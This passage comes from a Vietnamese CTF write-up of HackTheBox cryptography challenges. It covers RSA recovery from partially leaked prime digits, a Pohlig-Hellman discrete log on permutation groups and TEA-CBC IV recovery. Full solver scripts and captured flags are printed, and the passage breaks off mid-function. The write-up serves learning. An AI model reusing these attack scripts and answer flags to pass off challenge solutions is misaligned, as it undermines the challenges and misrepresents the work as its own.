ciphertext = <span class="hljs-string">b'V\x1b\xc6&amp;\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'</span>
iv = <span class="hljs-string">b'u\x8fo\x9aK\xc5\x17\xa7&gt;[\x18\xa3\xc5\x11\x9en'</span>
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), <span class="hljs-number">16</span>)

print(flag.decode())
</code></pre>
<h3 id="heading-flag-18">Flag</h3>
<p><code>HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}</code></p>
<h2 id="heading-partial-tenacity">Partial Tenacity</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-5">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_OAEP

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RSACipher</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, bits</span>):</span>
        self.key = RSA.generate(bits)
        self.cipher = PKCS1_OAEP.new(self.key)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">self, m</span>):</span>
        <span class="hljs-keyword">return</span> self.cipher.encrypt(m)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, c</span>):</span>
        <span class="hljs-keyword">return</span> self.cipher.decrypt(c)

cipher = RSACipher(<span class="hljs-number">1024</span>)

enc_flag = cipher.encrypt(FLAG)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">f'n = <span class="hljs-subst">{cipher.key.n}</span>\n'</span>)
    f.write(<span class="hljs-string">f'ct = <span class="hljs-subst">{enc_flag.hex()}</span>\n'</span>)
    f.write(<span class="hljs-string">f'p = <span class="hljs-subst">{str(cipher.key.p)[::<span class="hljs-number">2</span>]}</span>\n'</span>)
    f.write(<span class="hljs-string">f'q = <span class="hljs-subst">{str(cipher.key.q)[<span class="hljs-number">1</span>::<span class="hljs-number">2</span>]}</span>'</span>)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173
ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad
p = 171539328165412321875748057028552243899150327277402310685789246185479388035679
q = 12370078203860528037238299503161295765194367399450231656330777573089075282486
</code></pre>
<h3 id="heading-solution-5">Solution</h3>
<p>Bài này làm mình khá nản lúc đầu nhưng may có anh <code>Tuệ</code> support nên đã làm được. Bài thuộc một dạng RSA với <code>partial known bits</code> (nói là bits thôi nhưng thực ra các số <code>p</code> và <code>q</code> đã bị khuyết mất các chữ số).</p>
<p>Mình đã biết được <code>p</code> và <code>q</code> kia chính là các số còn lại sau khi thay đổi <code>p</code>, <code>q</code> ban đầu. Cụ thể với <code>p</code> từ vị trí <code>[0]</code> đến cuối thì cách một chữ số lại xóa đi một lần, <code>q</code> thì xuất phát từ vị trí <code>[1]</code>.</p>
<p>Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân <code>p * q == n</code>, theo như cách nhân từng học thì:</p>
<pre><code class="lang-plaintext">p[-1] * q[-1] == n[-1]
p[-2] * q[-2] == n[-2]
...
</code></pre>
<ul>
<li>Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau:</li>
</ul>
<pre><code class="lang-plaintext">Giả sử có:
p[-1] = 3, p[-2] = 2
q[-1] = 5, q[-2] = 3
thì :
    n[-1] = 3 * 5 = 15, viết 5 nhớ 1
    n[-2] = 2 * 3 = 6, nhớ 1 là 7
nhận được n[-1] = 5 và n[-2] = 7
</code></pre>
<ul>
<li>Bản chất chính là:</li>
</ul>
<pre><code class="lang-plaintext">n[-1] = p[-1] * q[-1] (mod 10)
n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10)
...
</code></pre>
<p>Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số <code>p</code> và <code>q</code>, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không.</p>
<p>Full code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> PKCS1_OAEP
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.PublicKey.RSA <span class="hljs-keyword">import</span> RsaKey

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RSACipher</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, bits</span>):</span>
        self.key = RsaKey(n=n, e=e, d=inverse(e, (p<span class="hljs-number">-1</span>)*(q<span class="hljs-number">-1</span>)), p=p, q=q, u=inverse(p, q))
        self.cipher = PKCS1_OAEP.new(self.key)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, c</span>):</span>
        <span class="hljs-keyword">return</span> self.cipher.decrypt(c)

e = <span class="hljs-number">65537</span>
n = <span class="hljs-number">118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003</span>
ct = <span class="hljs-string">'7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476'</span>
c = int(ct, <span class="hljs-number">16</span>)
leak_p = <span class="hljs-string">'1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3'</span>
leak_q = <span class="hljs-string">'_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_'</span>

leak_p = leak_p.replace(<span class="hljs-string">'_'</span>, <span class="hljs-string">'0'</span>)
leak_q = leak_q.replace(<span class="hljs-string">'_'</span>, <span class="hljs-string">'0'</span>)

pq = {(int(leak_p), int(leak_q))}
TH = [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>]

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">155</span>//<span class="hljs-number">2</span> + <span class="hljs-number">1</span>):
    trials = set()
    <span class="hljs-keyword">for</span> p, q <span class="hljs-keyword">in</span> pq:
        <span class="hljs-keyword">for</span> _p <span class="hljs-keyword">in</span> TH:
            temp_p = p + _p*pow(<span class="hljs-number">10</span>, <span class="hljs-number">2</span>*i + <span class="hljs-number">1</span>)
            <span class="hljs-keyword">for</span> _q <span class="hljs-keyword">in</span> TH:
                temp_q = q + _q*pow(<span class="hljs-number">10</span>, <span class="hljs-number">2</span>*i)
                mod = pow(<span class="hljs-number">10</span>, <span class="hljs-number">2</span>*i + <span class="hljs-number">2</span>)
                <span class="hljs-keyword">if</span> (temp_p * temp_q) % mod != n % mod:
                    <span class="hljs-keyword">continue</span>
                trials.add((temp_p, temp_q))
    pq = trials
p = list(pq)[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>]
q = list(pq)[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>]
<span class="hljs-keyword">assert</span> p*q == n

cipher = RSACipher(<span class="hljs-number">1024</span>)
flag = cipher.decrypt(long_to_bytes(int(ct, <span class="hljs-number">16</span>))).decode()
print(flag)
</code></pre>
<h3 id="heading-flag-19">Flag</h3>
<p><code>HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}</code></p>
<h2 id="heading-permuted">Permuted</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-6">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes

<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> random <span class="hljs-keyword">import</span> shuffle

<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> a, b, FLAG

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Permutation</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, mapping</span>):</span>
        self.length = len(mapping)

        <span class="hljs-keyword">assert</span> set(mapping) == set(range(self.length))     <span class="hljs-comment"># ensure it contains all numbers from 0 to length-1, with no repetitions</span>
        self.mapping = list(mapping)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__call__</span>(<span class="hljs-params">self, *args, **kwargs</span>):</span>
        idx, *_ = args
        <span class="hljs-keyword">assert</span> idx <span class="hljs-keyword">in</span> range(self.length)
        <span class="hljs-keyword">return</span> self.mapping[idx]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__mul__</span>(<span class="hljs-params">self, other</span>):</span>
        ans = []

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(self.length):
            ans.append(self(other(i)))

        <span class="hljs-keyword">return</span> Permutation(ans)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__pow__</span>(<span class="hljs-params">self, power, modulo=None</span>):</span>
        ans = Permutation.identity(self.length)
        ctr = self

        <span class="hljs-keyword">while</span> power &gt; <span class="hljs-number">0</span>:
            <span class="hljs-keyword">if</span> power % <span class="hljs-number">2</span> == <span class="hljs-number">1</span>:
                ans *= ctr
            ctr *= ctr
            power //= <span class="hljs-number">2</span>

        <span class="hljs-keyword">return</span> ans

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__str__</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> str(self.mapping)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">identity</span>(<span class="hljs-params">length</span>):</span>
        <span class="hljs-keyword">return</span> Permutation(range(length))


x = list(range(<span class="hljs-number">50</span>_000))
shuffle(x)

g = Permutation(x)
print(<span class="hljs-string">'g ='</span>, g)

A = g**a
print(<span class="hljs-string">'A ='</span>, A)
B = g**b
print(<span class="hljs-string">'B ='</span>, B)

C = A**b
<span class="hljs-keyword">assert</span> C.mapping == (B**a).mapping

sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)

hash = sha256()
hash.update(sec)

key = hash.digest()[<span class="hljs-number">16</span>:<span class="hljs-number">32</span>]
iv = <span class="hljs-string">b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"</span>

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, <span class="hljs-number">16</span>))
print(<span class="hljs-string">'c ='</span>, encrypted)
</code></pre>
<p>Challenge output: <a target="_blank" href="https://github.com/Zupp30/Zupp_Learn_Crypto/blob/main/Crypto%20from%20Zupp/output.txt">output.txt</a></p>
<h3 id="heading-solution-6">Solution</h3>
<p>Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là <code>Permuted</code>. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được.</p>
<p>Như hai bài trên, ta vẫn cần tìm lại <code>key</code>, cụ thể là tìm <code>priv_a</code> hoặc <code>priv_b</code>. Đọc source thì biết được phép toán trang bị trong nhóm <code>Permuted</code> này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm <code>Permuted</code> này đều có các vòng giao hoán của nó, tạm gọi là <code>order</code>.</p>
<p><code>order</code> ở đây là số <code>k</code> nhỏ nhất sao cho <code>g**k = g</code>, cái này khá giống với <code>order</code> trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố <code>order</code> này?</p>
<p>Dựa vào hai paper <a target="_blank" href="https://www-users.cse.umn.edu/~reiner/Classes/Cryptosystem_based_on_symmetric_group.pdf">này</a> và <a target="_blank" href="https://www.researchgate.net/publication/326514386_Cryptanalysis_of_a_Proposal_Based_on_the_Discrete_Logarithm_Problem_Inside_Sn">cả này nữa</a>, mình khá chắc có thể thực hiện <code>dlog</code> để tìm lại <code>key</code>. Nhưng <code>dlog</code> ở đây chỉ có approach giống <code>Pohlig-Hellman</code>, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại <code>order</code> rồi <code>factor</code>, giải các phương trình nhỏ rồi dùng <code>CRT</code> để output ra kết quả cuối cùng.</p>
<p>Để tìm <code>a</code> thỏa <code>A = g**a</code>, trước tiên mình sẽ thử tính <code>g.order()</code>. Hàm <code>order()</code> này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: <code>g.order() = 3311019189498977856900</code></p>
<p>Khi factor <code>g.order()</code> mình nhận được ước số khá bé, rất dễ dàng cho thuật toán <code>Pohlig-Hellman</code> trong <code>Sn (Symmetric Group)</code>. Cụ thể code để tìm lại <code>dlog</code> như sau:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> output <span class="hljs-keyword">import</span> g, A, B
<span class="hljs-keyword">from</span> sage.all <span class="hljs-keyword">import</span> *

g = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> g]))
A = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> A]))
B = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> B]))

o = g.order()
a = []
b = []
<span class="hljs-keyword">for</span> p,e <span class="hljs-keyword">in</span> factor(o):
    tg = g^(ZZ(o/p^e))
    tA = A^(ZZ(o/p^e))
    tB = B^(ZZ(o/p^e))
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(p^e):
        <span class="hljs-keyword">if</span> tg^i==tA:
            a.append([i,p^e])
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(p^e):
        <span class="hljs-keyword">if</span> tg^i==tB:
            b.append([i,p^e])
print(a)
print(b)
a = crt([i[<span class="hljs-number">0</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a],[i[<span class="hljs-number">1</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a])
b = crt([i[<span class="hljs-number">0</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> b],[i[<span class="hljs-number">1</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> b])
</code></pre>
<p>(Nhớ dùng trong sage)</p>
<p>Khi tìm lại được cả <code>a</code> và <code>b</code> mình đã <code>assert</code> oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi.</p>
<ul>
<li>Script:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> output <span class="hljs-keyword">import</span> g, A, B
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES

g = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> g]))
A = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> A]))
B = PermutationGroupElement(Permutation([i+<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> B]))

o = g.order()
a = []
b = []
<span class="hljs-keyword">for</span> p,e <span class="hljs-keyword">in</span> factor(o):
    tg = g^(ZZ(o/p^e))
    tA = A^(ZZ(o/p^e))
    tB = B^(ZZ(o/p^e))
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(p^e):
        <span class="hljs-keyword">if</span> tg^i==tA:
            a.append([i,p^e])
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(p^e):
        <span class="hljs-keyword">if</span> tg^i==tB:
            b.append([i,p^e])
a = crt([i[<span class="hljs-number">0</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a],[i[<span class="hljs-number">1</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a])
b = crt([i[<span class="hljs-number">0</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> b],[i[<span class="hljs-number">1</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> b])

<span class="hljs-keyword">assert</span> g^a == A
<span class="hljs-keyword">assert</span> g^b == B

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Permutationx</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, mapping</span>):</span>
        self.length = len(mapping)

        <span class="hljs-keyword">assert</span> set(mapping) == set(range(self.length))     <span class="hljs-comment"># ensure it contains all numbers from 0 to length-1, with no repetitions</span>
        self.mapping = list(mapping)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__call__</span>(<span class="hljs-params">self, *args, **kwargs</span>):</span>
        idx, *_ = args
        <span class="hljs-keyword">assert</span> idx <span class="hljs-keyword">in</span> range(self.length)
        <span class="hljs-keyword">return</span> self.mapping[idx]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__mul__</span>(<span class="hljs-params">self, other</span>):</span>
        ans = []

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(self.length):
            ans.append(self(other(i)))

        <span class="hljs-keyword">return</span> Permutationx(ans)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__pow__</span>(<span class="hljs-params">self, power, modulo=None</span>):</span>
        ans = Permutationx.identity(self.length)
        ctr = self

        <span class="hljs-keyword">while</span> power &gt; <span class="hljs-number">0</span>:
            <span class="hljs-keyword">if</span> power % <span class="hljs-number">2</span> == <span class="hljs-number">1</span>:
                ans *= ctr
            ctr *= ctr
            power //= <span class="hljs-number">2</span>

        <span class="hljs-keyword">return</span> ans

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__str__</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> str(self.mapping)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">identity</span>(<span class="hljs-params">length</span>):</span>
        <span class="hljs-keyword">return</span> Permutationx(range(length))

<span class="hljs-keyword">from</span> output <span class="hljs-keyword">import</span> g, A, B
g = Permutationx(g)
<span class="hljs-keyword">assert</span> str(g**a) == str(A) <span class="hljs-keyword">and</span> str(g**b) == str(B)

A, B = Permutationx(A), Permutationx(B)
C = A**b
<span class="hljs-keyword">assert</span> C.mapping == (B**a).mapping

sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)

hash = sha256()
hash.update(sec)

key = hash.digest()[<span class="hljs-number">16</span>:<span class="hljs-number">32</span>]
enc = <span class="hljs-string">b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd'</span>
iv = <span class="hljs-string">b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"</span>

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc), <span class="hljs-number">16</span>).decode()
print(flag)
</code></pre>
<h3 id="heading-flag-20">Flag</h3>
<p><code>HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}</code></p>
<h2 id="heading-tsayaki">Tsayaki</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description-7">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> tea <span class="hljs-keyword">import</span> Cipher <span class="hljs-keyword">as</span> TEA
<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> IV, FLAG
<span class="hljs-keyword">import</span> os

ROUNDS = <span class="hljs-number">10</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show_menu</span>():</span>
    print(<span class="hljs-string">"""
============================================================================================
|| I made this decryption oracle in which I let users choose their own decryption keys.   ||
|| I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right?   ||
|| If you manage to prove me wrong 10 times, you get a special gift.                      ||
============================================================================================
"""</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span>():</span>
    show_menu()

    server_message = os.urandom(<span class="hljs-number">20</span>)
    print(<span class="hljs-string">f'Here is my special message: <span class="hljs-subst">{server_message.hex()}</span>'</span>)

    used_keys = []
    ciphertexts = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(ROUNDS):
        print(<span class="hljs-string">f'Round <span class="hljs-subst">{i+<span class="hljs-number">1</span>}</span>/10'</span>)
        <span class="hljs-keyword">try</span>:
            ct = bytes.fromhex(input(<span class="hljs-string">'Enter your target ciphertext (in hex) : '</span>))
            <span class="hljs-keyword">assert</span> ct <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> ciphertexts

            <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
                key = bytes.fromhex(input(<span class="hljs-string">f'[<span class="hljs-subst">{i+<span class="hljs-number">1</span>}</span>/<span class="hljs-subst">{j+<span class="hljs-number">1</span>}</span>] Enter your encryption key (in hex) : '</span>))
                <span class="hljs-keyword">assert</span> len(key) == <span class="hljs-number">16</span> <span class="hljs-keyword">and</span> key <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> used_keys
                used_keys.append(key)
                cipher = TEA(key, IV)
                enc = cipher.encrypt(server_message)
                <span class="hljs-keyword">if</span> enc != ct:
                    print(<span class="hljs-string">f'Hmm ... close enough, but <span class="hljs-subst">{enc.hex()}</span> does not look like <span class="hljs-subst">{ct.hex()}</span> at all! Bye...'</span>)
                    exit()
        <span class="hljs-keyword">except</span>:
            print(<span class="hljs-string">'Nope.'</span>)
            exit()

        ciphertexts.append(ct)

    print(<span class="hljs-string">f'Wait, really? <span class="hljs-subst">{FLAG}</span>'</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    run()
</code></pre>
<p>Challenge code: Tương tự bài <a target="_blank" href="https://hackmd.io/sXfigwmiRB-_YCZiXtTK6g?view#Description4">Iced TEA</a></p>
<h3 id="heading-solution-7">Solution</h3>
<p>Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một <code>server_message</code> (gọi tắt là <code>sm</code>). <code>sm</code> sẽ được mã hóa bằng thuật toán <code>TEA-CBC</code> với <code>IV</code> cố định (<code>IV</code> này lấy từ local), vậy còn <code>key</code> thì sao? Chúng ta sẽ chính là người cung cấp <code>key</code> cho bài. Thực chất <code>server</code> sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào <code>ct</code> và 4 <code>key</code> của mình, nếu có thể tạo ra collision giữa <code>ct</code> và <code>enc_sm</code> thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng <code>key</code> nào thì <code>key</code> đó sẽ trở nên useless cho vòng <code>key</code> tiếp theo. <code>ct</code> cũng không được reused btw 😺:</p>
<p>Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 <code>key</code> khác nhau, tổng cộng là mình cần có 10 cặp <code>(4 keys, ct)</code> để break bài này.</p>
<p>Trước hết <code>IV</code> là cố định và mode là <code>CBC</code> nên việc recover lại <code>IV</code> không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi:</p>
<p><img src="https://hackmd.io/_uploads/rydL0uZRT.png" alt="CBC" /></p>
<p>Như đã thấy, đề bài cung cấp cho chúng ta <code>sm</code>, bản mã của <code>sm</code>, <code>key</code> do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được <code>IV</code>:</p>
<pre><code class="lang-plaintext">CBC:
E(key, sm ^ IV) = enc_sm
D(key, enc_sm) = sm ^ IV
</code></pre>
<p>Tuy nhiên nếu để ý kĩ, ta sẽ thấy <code>D(key, enc_sm) của CBC</code> khá giống với <code>ECB</code>, vậy nên mình sẽ <code>decrypt(enc_sm)</code> bằng mode <code>ECB</code> và xor output với <code>sm</code> là recover xong <code>IV</code>:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes <span class="hljs-keyword">as</span> l2b, bytes_to_long <span class="hljs-keyword">as</span> b2l
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> unpad, pad
<span class="hljs-keyword">from</span> enum <span class="hljs-keyword">import</span> Enum

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Mode</span>(<span class="hljs-params">Enum</span>):</span>
    ECB = <span class="hljs-number">0x01</span>
    CBC = <span class="hljs-number">0x02</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Cipher</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, key, iv=None</span>):</span>
        self.BLOCK_SIZE = <span class="hljs-number">64</span>
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//<span class="hljs-number">16</span>]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(key), self.BLOCK_SIZE//<span class="hljs-number">16</span>)]
        self.DELTA = <span class="hljs-number">0x9e3779b9</span>
        self.IV = iv
        <span class="hljs-keyword">if</span> self.IV:
            self.mode = Mode.CBC
        <span class="hljs-keyword">else</span>:
            self.mode = Mode.ECB

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_xor</span>(<span class="hljs-params">self, a, b</span>):</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(bytes([_a ^ _b]) <span class="hljs-keyword">for</span> _a, _b <span class="hljs-keyword">in</span> zip(a, b))

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, ciphertext</span>):</span>
        blocks = [ciphertext[i:i+self.BLOCK_SIZE//<span class="hljs-number">8</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(ciphertext), self.BLOCK_SIZE//<span class="hljs-number">8</span>)]

        pt = <span class="hljs-string">b''</span>
        <span class="hljs-keyword">if</span> self.mode == Mode.ECB:
            <span class="hljs-keyword">for</span> ct_block <span class="hljs-keyword">in</span> blocks:
                pt += self.decrypt_block(ct_block)
        <span class="hljs-keyword">elif</span> self.mode == Mode.CBC:
            X = self.IV
            <span class="hljs-keyword">for</span> ct_block <span class="hljs-keyword">in</span> blocks:
                dec_block = self.decrypt_block(ct_block)
                pt += self._xor(X, dec_block)
                X = ct_block
        <span class="hljs-keyword">return</span> pt

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_block</span>(<span class="hljs-params">self, ciphertext</span>):</span>
        c = b2l(ciphertext)
        K = self.KEY
